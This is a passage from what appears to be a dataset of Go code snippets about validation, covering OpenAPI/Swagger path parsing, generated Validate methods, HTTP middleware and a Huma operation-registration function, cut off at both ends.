err)\\n\\t\\treturn result\\n\\t}\\n\\n\\tcommandExistsFunc := v.commandExists\\n\\tif commandExistsFunc == nil {\\n\\t\\tcommandExistsFunc = commandExists\\n\\t}\\n\\n\\t// validate that the required commands exist\\n\\tif def.Requirements != nil {\\n\\t\\tfor _, command := range def.Requirements {\\n\\t\\t\\tif commandExistsFunc(command) {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tresult.errors = append(result.errors, fmt.Errorf(\\\"%q %w\\\", command, ErrCommandNotInPATH))\\n\\t\\t}\\n\\t}\\n\\n\\t// validate that the config matches the json schema we have\\n\\tif def.Configuration != nil {\\n\\t\\tvalErrors, err := def.Configuration.ValidateBytes(ctx, configJSON)\\n\\t\\tif err != nil {\\n\\t\\t\\tresult.errors = append(result.errors, err)\\n\\t\\t}\\n\\t\\tfor _, err := range valErrors {\\n\\t\\t\\tresult.errors = append(result.errors, err)\\n\\t\\t}\\n\\t}\\n\\n\\treturn result\\n}\",\n \"func getPathDocuments(p config.Config, swagger *openapi3.Swagger, allDocuments docs.Index) docs.Index {\\n\\n\\t// Create an empty Operation we can use to judge if field is undefined.\\n\\tvar emptyOp *openapi3.Operation\\n\\tio.WriteString(os.Stdout, fmt.Sprintf(\\\"\\\\033[1m %s\\\\033[0m (%v paths)\\\\n\\\", \\\"Paths\\\", len(swagger.Paths)))\\n\\tfor endpoint, path := range swagger.Paths {\\n\\n\\t\\t// GET Operation.\\n\\t\\tif emptyOp != path.Get {\\n\\t\\t\\t// Make sure that the current path does not have a tag we'd like to ignore.\\n\\t\\t\\tif !ignore.ItemExists(p.Ignore, getTags(path.Get)) {\\n\\t\\t\\t\\t// Append the document.\\n\\t\\t\\t\\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Get, \\\"get\\\"))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// POST Operation.\\n\\t\\tif emptyOp != path.Post {\\n\\t\\t\\t// Make sure that the current path does not have a tag we'd like to ignore.\\n\\t\\t\\tif !ignore.ItemExists(p.Ignore, getTags(path.Post)) {\\n\\t\\t\\t\\t// Append the document.\\n\\t\\t\\t\\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Post, \\\"post\\\"))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// DELETE Operation.\\n\\t\\tif emptyOp != path.Delete {\\n\\t\\t\\t// Make sure that the current path does not have a tag we'd like to ignore.\\n\\t\\t\\tif !ignore.ItemExists(p.Ignore, getTags(path.Delete)) {\\n\\t\\t\\t\\t// Append the document.\\n\\t\\t\\t\\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Delete, \\\"delete\\\"))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// PATCH Operation.\\n\\t\\tif emptyOp != path.Patch {\\n\\t\\t\\t// Make sure that the current path does not have a tag we'd like to ignore.\\n\\t\\t\\tif !ignore.ItemExists(p.Ignore, getTags(path.Patch)) {\\n\\t\\t\\t\\t// Append the document.\\n\\t\\t\\t\\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Patch, \\\"patch\\\"))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn allDocuments\\n}\",\n \"func (m JSONSchemaURL) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (t *Application_Application_Application_Endpoint) Validate(opts ...ygot.ValidationOption) error {\\n\\tif err := ytypes.Validate(SchemaTree[\\\"Application_Application_Application_Endpoint\\\"], t, opts...); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func GetPathsFromSwagger(doc *loads.Document, config *Config, pathPrefix string) ([]Path, error) {\\n\\n\\tswaggerVersion := doc.Spec().Info.Version\\n\\tif config.SuppressAPIVersion {\\n\\t\\tswaggerVersion = \\\"\\\"\\n\\t}\\n\\n\\tspec := doc.Analyzer\\n\\n\\tswaggerPaths := spec.AllPaths()\\n\\tpaths := make([]Path, len(swaggerPaths))\\n\\n\\tpathIndex := 0\\n\\tfor swaggerPath, swaggerPathItem := range swaggerPaths {\\n\\n\\t\\tswaggerPath = pathPrefix + swaggerPath\\n\\t\\toverride := config.Overrides[swaggerPath]\\n\\n\\t\\tsearchPathTemp := override.Path\\n\\t\\tvar searchPath string\\n\\t\\tif searchPathTemp == \\\"\\\" {\\n\\t\\t\\tsearchPath = swaggerPath\\n\\t\\t} else {\\n\\t\\t\\tsearchPath = searchPathTemp\\n\\t\\t}\\n\\t\\tsearchPath = strings.TrimRight(searchPath, \\\"/\\\")\\n\\t\\tendpoint, err := endpoints.GetEndpointInfoFromURL(searchPath, swaggerVersion) // logical path\\n\\t\\tif err != nil {\\n\\t\\t\\treturn []Path{}, err\\n\\t\\t}\\n\\t\\tsegment := endpoint.URLSegments[len(endpoint.URLSegments)-1]\\n\\t\\tname := segment.Match\\n\\t\\tif name == \\\"list\\\" && len(endpoint.URLSegments) > 2 {\\n\\t\\t\\tsegment = endpoint.URLSegments[len(endpoint.URLSegments)-2] // 'list' is generic and usually preceded by something more descriptive\\n\\t\\t\\tname = segment.Match\\n\\t\\t}\\n\\t\\tif name == \\\"\\\" {\\n\\t\\t\\tname = \\\"{\\\" + segment.Name + \\\"}\\\"\\n\\t\\t}\\n\\t\\tpath := Path{\\n\\t\\t\\tEndpoint: &endpoint,\\n\\t\\t\\tName: name,\\n\\t\\t\\tCondensedEndpointPath: stripPathNames(searchPath),\\n\\t\\t}\\n\\n\\t\\tgetVerb := override.GetVerb\\n\\t\\tif getVerb == \\\"\\\" {\\n\\t\\t\\tgetVerb = \\\"get\\\"\\n\\t\\t}\\n\\n\\t\\tswaggerPathItemRef := swaggerPathItem\\n\\t\\tgetOperation, err := getOperationByVerb(&swaggerPathItemRef, getVerb)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn []Path{}, err\\n\\t\\t}\\n\\t\\tif getOperation != nil {\\n\\t\\t\\tpath.Operations.Get.Permitted = true\\n\\t\\t\\tif getVerb != \\\"get\\\" {\\n\\t\\t\\t\\tpath.Operations.Get.Verb = getVerb\\n\\t\\t\\t}\\n\\t\\t\\tif override.Path == \\\"\\\" || override.RewritePath {\\n\\t\\t\\t\\tpath.Operations.Get.Endpoint = path.Endpoint\\n\\t\\t\\t} else {\\n\\t\\t\\t\\toverriddenEndpoint, err := endpoints.GetEndpointInfoFromURL(swaggerPath, swaggerVersion)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn []Path{}, err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tpath.Operations.Get.Endpoint = &overriddenEndpoint\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif swaggerPathItem.Delete != nil && getVerb != \\\"delete\\\" {\\n\\t\\t\\tpath.Operations.Delete.Permitted = true\\n\\t\\t\\tpath.Operations.Delete.Endpoint = path.Endpoint\\n\\t\\t}\\n\\t\\tif override.DeletePath != \\\"\\\" {\\n\\t\\t\\tpath.Operations.Delete.Permitted = true\\n\\t\\t\\tpath.Operations.Delete.Endpoint = endpoints.MustGetEndpointInfoFromURL(override.DeletePath, path.Endpoint.APIVersion)\\n\\t\\t}\\n\\t\\tif swaggerPathItem.Patch != nil && getVerb != \\\"patch\\\" {\\n\\t\\t\\tpath.Operations.Patch.Permitted = true\\n\\t\\t\\tpath.Operations.Patch.Endpoint = path.Endpoint\\n\\t\\t}\\n\\t\\tif swaggerPathItem.Post != nil && getVerb != \\\"post\\\" {\\n\\t\\t\\tpath.Operations.Post.Permitted = true\\n\\t\\t\\tpath.Operations.Post.Endpoint = path.Endpoint\\n\\t\\t}\\n\\t\\tif swaggerPathItem.Put != nil && getVerb != \\\"put\\\" {\\n\\t\\t\\tpath.Operations.Put.Permitted = true\\n\\t\\t\\tpath.Operations.Put.Endpoint = path.Endpoint\\n\\t\\t}\\n\\t\\tif override.PutPath != \\\"\\\" {\\n\\t\\t\\tpath.Operations.Put.Permitted = true\\n\\t\\t\\tpath.Operations.Put.Endpoint = endpoints.MustGetEndpointInfoFromURL(override.PutPath, path.Endpoint.APIVersion)\\n\\t\\t}\\n\\n\\t\\tpaths[pathIndex] = path\\n\\t\\tpathIndex++\\n\\t}\\n\\n\\treturn paths, nil\\n}\",\n \"func (o *APICheck) Validate() error {\\n\\n\\terrors := elemental.Errors{}\\n\\trequiredErrors := elemental.Errors{}\\n\\n\\tif err := elemental.ValidateRequiredString(\\\"namespace\\\", o.Namespace); err != nil {\\n\\t\\trequiredErrors = requiredErrors.Append(err)\\n\\t}\\n\\n\\tif err := elemental.ValidatePattern(\\\"namespace\\\", o.Namespace, `^/[a-zA-Z0-9-_/]*$`, `must only contain alpha numerical characters, '-' or '_' and start with '/'`, true); err != nil {\\n\\t\\terrors = errors.Append(err)\\n\\t}\\n\\n\\tif err := elemental.ValidateRequiredString(\\\"operation\\\", string(o.Operation)); err != nil {\\n\\t\\trequiredErrors = requiredErrors.Append(err)\\n\\t}\\n\\n\\tif err := elemental.ValidateStringInList(\\\"operation\\\", string(o.Operation), []string{\\\"Create\\\", \\\"Delete\\\", \\\"Info\\\", \\\"Patch\\\", \\\"Retrieve\\\", \\\"RetrieveMany\\\", \\\"Update\\\"}, false); err != nil {\\n\\t\\terrors = errors.Append(err)\\n\\t}\\n\\n\\tif err := elemental.ValidateRequiredExternal(\\\"targetIdentities\\\", o.TargetIdentities); err != nil {\\n\\t\\trequiredErrors = requiredErrors.Append(err)\\n\\t}\\n\\n\\tif len(requiredErrors) > 0 {\\n\\t\\treturn requiredErrors\\n\\t}\\n\\n\\tif len(errors) > 0 {\\n\\t\\treturn errors\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (o *ShortenerAPI) Validate() error {\\n\\tvar unregistered []string\\n\\n\\tif o.JSONConsumer == nil {\\n\\t\\tunregistered = append(unregistered, \\\"JSONConsumer\\\")\\n\\t}\\n\\n\\tif o.JSONProducer == nil {\\n\\t\\tunregistered = append(unregistered, \\\"JSONProducer\\\")\\n\\t}\\n\\n\\tif o.BasicAuthAuth == nil {\\n\\t\\tunregistered = append(unregistered, \\\"BasicAuthAuth\\\")\\n\\t}\\n\\n\\tif o.LinkCreateShortLinkHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"link.CreateShortLinkHandler\\\")\\n\\t}\\n\\n\\tif o.UserCreateUserHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"user.CreateUserHandler\\\")\\n\\t}\\n\\n\\tif o.StatisticGetCurrentUserHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"statistic.GetCurrentUserHandler\\\")\\n\\t}\\n\\n\\tif o.LinkGetLinkHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"link.GetLinkHandler\\\")\\n\\t}\\n\\n\\tif o.StatisticGetLinkInfoHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"statistic.GetLinkInfoHandler\\\")\\n\\t}\\n\\n\\tif o.LinkGetLinksHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"link.GetLinksHandler\\\")\\n\\t}\\n\\n\\tif o.StatisticGetReferersHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"statistic.GetReferersHandler\\\")\\n\\t}\\n\\n\\tif o.UserLoginUserHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"user.LoginUserHandler\\\")\\n\\t}\\n\\n\\tif o.UserLogoutUserHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"user.LogoutUserHandler\\\")\\n\\t}\\n\\n\\tif o.LinkRemoveLinkHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"link.RemoveLinkHandler\\\")\\n\\t}\\n\\n\\tif len(unregistered) > 0 {\\n\\t\\treturn fmt.Errorf(\\\"missing registration: %s\\\", strings.Join(unregistered, \\\", \\\"))\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func TestCmd_Validate_Issue1238(t *testing.T) {\\n\\tlog.SetOutput(io.Discard)\\n\\tdefer log.SetOutput(os.Stdout)\\n\\tv := ValidateSpec{}\\n\\tbase := filepath.FromSlash(\\\"../../../\\\")\\n\\tspecDoc := filepath.Join(base, \\\"fixtures\\\", \\\"bugs\\\", \\\"1238\\\", \\\"swagger.yaml\\\")\\n\\tresult := v.Execute([]string{specDoc})\\n\\tif assert.Error(t, result) {\\n\\t\\t/*\\n\\t\\t\\tThe swagger spec at \\\"../../../fixtures/bugs/1238/swagger.yaml\\\" is invalid against swagger specification 2.0. see errors :\\n\\t\\t\\t\\t- definitions.RRSets in body must be of type array\\n\\t\\t*/\\n\\t\\tassert.Contains(t, result.Error(), \\\"is invalid against swagger specification 2.0\\\")\\n\\t\\tassert.Contains(t, result.Error(), \\\"definitions.RRSets in body must be of type array\\\")\\n\\t}\\n}\",\n \"func ValidateVersion(h http.Handler) http.Handler {\\n\\tfn := func(w http.ResponseWriter, r *http.Request) {\\n\\t\\turlPart := strings.Split(r.URL.Path, \\\"/\\\")\\n\\n\\t\\t// look for version in available version, or other endpoints\\n\\t\\tfor _, ver := range jsonObject.Versions {\\n\\t\\t\\tif ver == urlPart[1] || r.URL.Path == \\\"/\\\" {\\n\\t\\t\\t\\t// pass along\\n\\t\\t\\t\\th.ServeHTTP(w, r)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// parse errror\\n\\t\\tErrorHandler(w, r, http.StatusNotFound)\\n\\t\\treturn\\n\\t}\\n\\treturn http.HandlerFunc(fn)\\n}\",\n \"func (r *DownloadDiffRequest) Validate() error {\\n\\tif err := requireProject(r.GetProject()); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := requireCommittish(\\\"committish\\\", r.GetCommittish()); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif base := r.GetBase(); base != \\\"\\\" {\\n\\t\\tif err := requireCommittish(\\\"base\\\", base); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\tif strings.HasPrefix(r.Path, \\\"/\\\") {\\n\\t\\treturn errors.New(\\\"path must not start with /\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (b BackendService) validate() error {\\n\\tvar err error\\n\\tif err = b.DeployConfig.validate(); err != nil {\\n\\t\\treturn fmt.Errorf(`validate \\\"deployment\\\": %w`, err)\\n\\t}\\n\\tif err = b.BackendServiceConfig.validate(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err = b.Workload.validate(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err = validateTargetContainer(validateTargetContainerOpts{\\n\\t\\tmainContainerName: aws.StringValue(b.Name),\\n\\t\\tmainContainerPort: b.ImageConfig.Port,\\n\\t\\ttargetContainer: b.HTTP.Main.TargetContainer,\\n\\t\\tsidecarConfig: b.Sidecars,\\n\\t}); err != nil {\\n\\t\\treturn fmt.Errorf(`validate load balancer target for \\\"http\\\": %w`, err)\\n\\t}\\n\\tfor idx, rule := range b.HTTP.AdditionalRoutingRules {\\n\\t\\tif err = validateTargetContainer(validateTargetContainerOpts{\\n\\t\\t\\tmainContainerName: aws.StringValue(b.Name),\\n\\t\\t\\tmainContainerPort: b.ImageConfig.Port,\\n\\t\\t\\ttargetContainer: rule.TargetContainer,\\n\\t\\t\\tsidecarConfig: b.Sidecars,\\n\\t\\t}); err != nil {\\n\\t\\t\\treturn fmt.Errorf(`validate load balancer target for \\\"http.additional_rules[%d]\\\": %w`, idx, err)\\n\\t\\t}\\n\\t}\\n\\tif err = validateContainerDeps(validateDependenciesOpts{\\n\\t\\tsidecarConfig: b.Sidecars,\\n\\t\\timageConfig: b.ImageConfig.Image,\\n\\t\\tmainContainerName: aws.StringValue(b.Name),\\n\\t\\tlogging: b.Logging,\\n\\t}); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"validate container dependencies: %w\\\", err)\\n\\t}\\n\\tif err = validateExposedPorts(validateExposedPortsOpts{\\n\\t\\tmainContainerName: aws.StringValue(b.Name),\\n\\t\\tmainContainerPort: b.ImageConfig.Port,\\n\\t\\tsidecarConfig: b.Sidecars,\\n\\t\\talb: &b.HTTP,\\n\\t}); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"validate unique exposed ports: %w\\\", err)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *Mux) validate(rw http.ResponseWriter, req *http.Request) bool {\\n\\tplen := len(req.URL.Path)\\n\\tif plen > 1 && req.URL.Path[plen-1:] == \\\"/\\\" {\\n\\t\\tcleanURL(&req.URL.Path)\\n\\t\\trw.Header().Set(\\\"Location\\\", req.URL.Path)\\n\\t\\trw.WriteHeader(http.StatusFound)\\n\\t}\\n\\t// Retry to find a route that match\\n\\treturn m.parse(rw, req)\\n}\",\n \"func Register[I, O any](api API, op Operation, handler func(context.Context, *I) (*O, error)) {\\n\\toapi := api.OpenAPI()\\n\\tregistry := oapi.Components.Schemas\\n\\n\\tif op.Method == \\\"\\\" || op.Path == \\\"\\\" {\\n\\t\\tpanic(\\\"method and path must be specified in operation\\\")\\n\\t}\\n\\n\\tinputType := reflect.TypeOf((*I)(nil)).Elem()\\n\\tif inputType.Kind() != reflect.Struct {\\n\\t\\tpanic(\\\"input must be a struct\\\")\\n\\t}\\n\\tinputParams := findParams(registry, &op, inputType)\\n\\tinputBodyIndex := -1\\n\\tvar inSchema *Schema\\n\\tif f, ok := inputType.FieldByName(\\\"Body\\\"); ok {\\n\\t\\tinputBodyIndex = f.Index[0]\\n\\t\\tinSchema = registry.Schema(f.Type, true, getHint(inputType, f.Name, op.OperationID+\\\"Request\\\"))\\n\\t\\top.RequestBody = &RequestBody{\\n\\t\\t\\tContent: map[string]*MediaType{\\n\\t\\t\\t\\t\\\"application/json\\\": {\\n\\t\\t\\t\\t\\tSchema: inSchema,\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t}\\n\\n\\t\\tif op.BodyReadTimeout == 0 {\\n\\t\\t\\t// 5 second default\\n\\t\\t\\top.BodyReadTimeout = 5 * time.Second\\n\\t\\t}\\n\\n\\t\\tif op.MaxBodyBytes == 0 {\\n\\t\\t\\t// 1 MB default\\n\\t\\t\\top.MaxBodyBytes = 1024 * 1024\\n\\t\\t}\\n\\t}\\n\\trawBodyIndex := -1\\n\\tif f, ok := inputType.FieldByName(\\\"RawBody\\\"); ok {\\n\\t\\trawBodyIndex = f.Index[0]\\n\\t}\\n\\tresolvers := findResolvers(resolverType, inputType)\\n\\tdefaults := findDefaults(inputType)\\n\\n\\tif op.Responses == nil {\\n\\t\\top.Responses = map[string]*Response{}\\n\\t}\\n\\toutputType := reflect.TypeOf((*O)(nil)).Elem()\\n\\tif outputType.Kind() != reflect.Struct {\\n\\t\\tpanic(\\\"output must be a struct\\\")\\n\\t}\\n\\n\\toutStatusIndex := -1\\n\\tif f, ok := outputType.FieldByName(\\\"Status\\\"); ok {\\n\\t\\toutStatusIndex = f.Index[0]\\n\\t\\tif f.Type.Kind() != reflect.Int {\\n\\t\\t\\tpanic(\\\"status field must be an int\\\")\\n\\t\\t}\\n\\t\\t// TODO: enum tag?\\n\\t\\t// TODO: register each of the possible responses with the right model\\n\\t\\t// and headers down below.\\n\\t}\\n\\toutHeaders := findHeaders(outputType)\\n\\toutBodyIndex := -1\\n\\toutBodyFunc := false\\n\\tif f, ok := outputType.FieldByName(\\\"Body\\\"); ok {\\n\\t\\toutBodyIndex = f.Index[0]\\n\\t\\tif f.Type.Kind() == reflect.Func {\\n\\t\\t\\toutBodyFunc = true\\n\\n\\t\\t\\tif f.Type != bodyCallbackType {\\n\\t\\t\\t\\tpanic(\\\"body field must be a function with signature func(huma.Context)\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tstatus := op.DefaultStatus\\n\\t\\tif status == 0 {\\n\\t\\t\\tstatus = http.StatusOK\\n\\t\\t}\\n\\t\\tstatusStr := fmt.Sprintf(\\\"%d\\\", status)\\n\\t\\tif op.Responses[statusStr] == nil {\\n\\t\\t\\top.Responses[statusStr] = &Response{}\\n\\t\\t}\\n\\t\\tif op.Responses[statusStr].Description == \\\"\\\" {\\n\\t\\t\\top.Responses[statusStr].Description = http.StatusText(status)\\n\\t\\t}\\n\\t\\tif op.Responses[statusStr].Headers == nil {\\n\\t\\t\\top.Responses[statusStr].Headers = map[string]*Param{}\\n\\t\\t}\\n\\t\\tif !outBodyFunc {\\n\\t\\t\\toutSchema := registry.Schema(f.Type, true, getHint(outputType, f.Name, op.OperationID+\\\"Response\\\"))\\n\\t\\t\\tif op.Responses[statusStr].Content == nil {\\n\\t\\t\\t\\top.Responses[statusStr].Content = map[string]*MediaType{}\\n\\t\\t\\t}\\n\\t\\t\\tif _, ok := op.Responses[statusStr].Content[\\\"application/json\\\"]; !ok {\\n\\t\\t\\t\\top.Responses[statusStr].Content[\\\"application/json\\\"] = &MediaType{}\\n\\t\\t\\t}\\n\\t\\t\\top.Responses[statusStr].Content[\\\"application/json\\\"].Schema = outSchema\\n\\t\\t}\\n\\t}\\n\\tif op.DefaultStatus == 0 {\\n\\t\\tif outBodyIndex != -1 {\\n\\t\\t\\top.DefaultStatus = http.StatusOK\\n\\t\\t} else {\\n\\t\\t\\top.DefaultStatus = http.StatusNoContent\\n\\t\\t}\\n\\t}\\n\\tdefaultStatusStr := fmt.Sprintf(\\\"%d\\\", op.DefaultStatus)\\n\\tif op.Responses[defaultStatusStr] == nil {\\n\\t\\top.Responses[defaultStatusStr] = &Response{\\n\\t\\t\\tDescription: http.StatusText(op.DefaultStatus),\\n\\t\\t}\\n\\t}\\n\\tfor _, entry := range outHeaders.Paths {\\n\\t\\t// Document the header's name and type.\\n\\t\\tif op.Responses[defaultStatusStr].Headers == nil {\\n\\t\\t\\top.Responses[defaultStatusStr].Headers = map[string]*Param{}\\n\\t\\t}\\n\\t\\tv := entry.Value\\n\\t\\top.Responses[defaultStatusStr].Headers[v.Name] = &Header{\\n\\t\\t\\t// We need to generate the schema from the field to get validation info\\n\\t\\t\\t// like min/max and enums. Useful to let the client know possible values.\\n\\t\\t\\tSchema: SchemaFromField(registry, outputType, v.Field),\\n\\t\\t}\\n\\t}\\n\\n\\tif len(op.Errors) > 0 && (len(inputParams.Paths) > 0 || inputBodyIndex >= -1) {\\n\\t\\top.Errors = append(op.Errors, http.StatusUnprocessableEntity)\\n\\t}\\n\\tif len(op.Errors) > 0 {\\n\\t\\top.Errors = append(op.Errors, http.StatusInternalServerError)\\n\\t}\\n\\n\\texampleErr := NewError(0, \\\"\\\")\\n\\terrContentType := \\\"application/json\\\"\\n\\tif ctf, ok := exampleErr.(ContentTypeFilter); ok {\\n\\t\\terrContentType = ctf.ContentType(errContentType)\\n\\t}\\n\\terrType := reflect.TypeOf(exampleErr)\\n\\terrSchema := registry.Schema(errType, true, getHint(errType, \\\"\\\", \\\"Error\\\"))\\n\\tfor _, code := range op.Errors {\\n\\t\\top.Responses[fmt.Sprintf(\\\"%d\\\", code)] = &Response{\\n\\t\\t\\tDescription: http.StatusText(code),\\n\\t\\t\\tContent: map[string]*MediaType{\\n\\t\\t\\t\\terrContentType: {\\n\\t\\t\\t\\t\\tSchema: errSchema,\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t}\\n\\t}\\n\\tif len(op.Responses) <= 1 && len(op.Errors) == 0 {\\n\\t\\t// No errors are defined, so set a default response.\\n\\t\\top.Responses[\\\"default\\\"] = &Response{\\n\\t\\t\\tDescription: \\\"Error\\\",\\n\\t\\t\\tContent: map[string]*MediaType{\\n\\t\\t\\t\\terrContentType: {\\n\\t\\t\\t\\t\\tSchema: errSchema,\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t}\\n\\t}\\n\\n\\tif !op.Hidden {\\n\\t\\toapi.AddOperation(&op)\\n\\t}\\n\\n\\ta := api.Adapter()\\n\\n\\ta.Handle(&op, func(ctx Context) {\\n\\t\\tvar input I\\n\\n\\t\\t// Get the validation dependencies from the shared pool.\\n\\t\\tdeps := validatePool.Get().(*validateDeps)\\n\\t\\tdefer func() {\\n\\t\\t\\tdeps.pb.Reset()\\n\\t\\t\\tdeps.res.Reset()\\n\\t\\t\\tvalidatePool.Put(deps)\\n\\t\\t}()\\n\\t\\tpb := deps.pb\\n\\t\\tres := deps.res\\n\\n\\t\\terrStatus := http.StatusUnprocessableEntity\\n\\n\\t\\tv := reflect.ValueOf(&input).Elem()\\n\\t\\tinputParams.Every(v, func(f reflect.Value, p *paramFieldInfo) {\\n\\t\\t\\tvar value string\\n\\t\\t\\tswitch p.Loc {\\n\\t\\t\\tcase \\\"path\\\":\\n\\t\\t\\t\\tvalue = ctx.Param(p.Name)\\n\\t\\t\\tcase \\\"query\\\":\\n\\t\\t\\t\\tvalue = ctx.Query(p.Name)\\n\\t\\t\\tcase \\\"header\\\":\\n\\t\\t\\t\\tvalue = ctx.Header(p.Name)\\n\\t\\t\\t}\\n\\n\\t\\t\\tpb.Reset()\\n\\t\\t\\tpb.Push(p.Loc)\\n\\t\\t\\tpb.Push(p.Name)\\n\\n\\t\\t\\tif value == \\\"\\\" && p.Default != \\\"\\\" {\\n\\t\\t\\t\\tvalue = p.Default\\n\\t\\t\\t}\\n\\n\\t\\t\\tif p.Loc == \\\"path\\\" && value == \\\"\\\" {\\n\\t\\t\\t\\t// Path params are always required.\\n\\t\\t\\t\\tres.Add(pb, \\\"\\\", \\\"required path parameter is missing\\\")\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tif value != \\\"\\\" {\\n\\t\\t\\t\\tvar pv any\\n\\n\\t\\t\\t\\tswitch p.Type.Kind() {\\n\\t\\t\\t\\tcase reflect.String:\\n\\t\\t\\t\\t\\tf.SetString(value)\\n\\t\\t\\t\\t\\tpv = value\\n\\t\\t\\t\\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\\n\\t\\t\\t\\t\\tv, err := strconv.ParseInt(value, 10, 64)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\tres.Add(pb, value, \\\"invalid integer\\\")\\n\\t\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tf.SetInt(v)\\n\\t\\t\\t\\t\\tpv = v\\n\\t\\t\\t\\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\\n\\t\\t\\t\\t\\tv, err := strconv.ParseUint(value, 10, 64)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\tres.Add(pb, value, \\\"invalid integer\\\")\\n\\t\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tf.SetUint(v)\\n\\t\\t\\t\\t\\tpv = v\\n\\t\\t\\t\\tcase reflect.Float32, reflect.Float64:\\n\\t\\t\\t\\t\\tv, err := strconv.ParseFloat(value, 64)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\tres.Add(pb, value, \\\"invalid float\\\")\\n\\t\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tf.SetFloat(v)\\n\\t\\t\\t\\t\\tpv = v\\n\\t\\t\\t\\tcase reflect.Bool:\\n\\t\\t\\t\\t\\tv, err := strconv.ParseBool(value)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\tres.Add(pb, value, \\\"invalid boolean\\\")\\n\\t\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tf.SetBool(v)\\n\\t\\t\\t\\t\\tpv = v\\n\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\t// Special case: list of strings\\n\\t\\t\\t\\t\\tif f.Type().Kind() == reflect.Slice && f.Type().Elem().Kind() == reflect.String {\\n\\t\\t\\t\\t\\t\\tvalues := strings.Split(value, \\\",\\\")\\n\\t\\t\\t\\t\\t\\tf.Set(reflect.ValueOf(values))\\n\\t\\t\\t\\t\\t\\tpv = values\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t// Special case: time.Time\\n\\t\\t\\t\\t\\tif f.Type() == timeType {\\n\\t\\t\\t\\t\\t\\ttimeFormat := time.RFC3339Nano\\n\\t\\t\\t\\t\\t\\tif p.Loc == \\\"header\\\" {\\n\\t\\t\\t\\t\\t\\t\\ttimeFormat = http.TimeFormat\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif p.TimeFormat != \\\"\\\" {\\n\\t\\t\\t\\t\\t\\t\\ttimeFormat = p.TimeFormat\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tt, err := time.Parse(timeFormat, value)\\n\\t\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\t\\tres.Add(pb, value, \\\"invalid time\\\")\\n\\t\\t\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tf.Set(reflect.ValueOf(t))\\n\\t\\t\\t\\t\\t\\tpv = t\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tpanic(\\\"unsupported param type \\\" + p.Type.String())\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif !op.SkipValidateParams {\\n\\t\\t\\t\\t\\tValidate(oapi.Components.Schemas, p.Schema, pb, ModeWriteToServer, pv, res)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t})\\n\\n\\t\\t// Read input body if 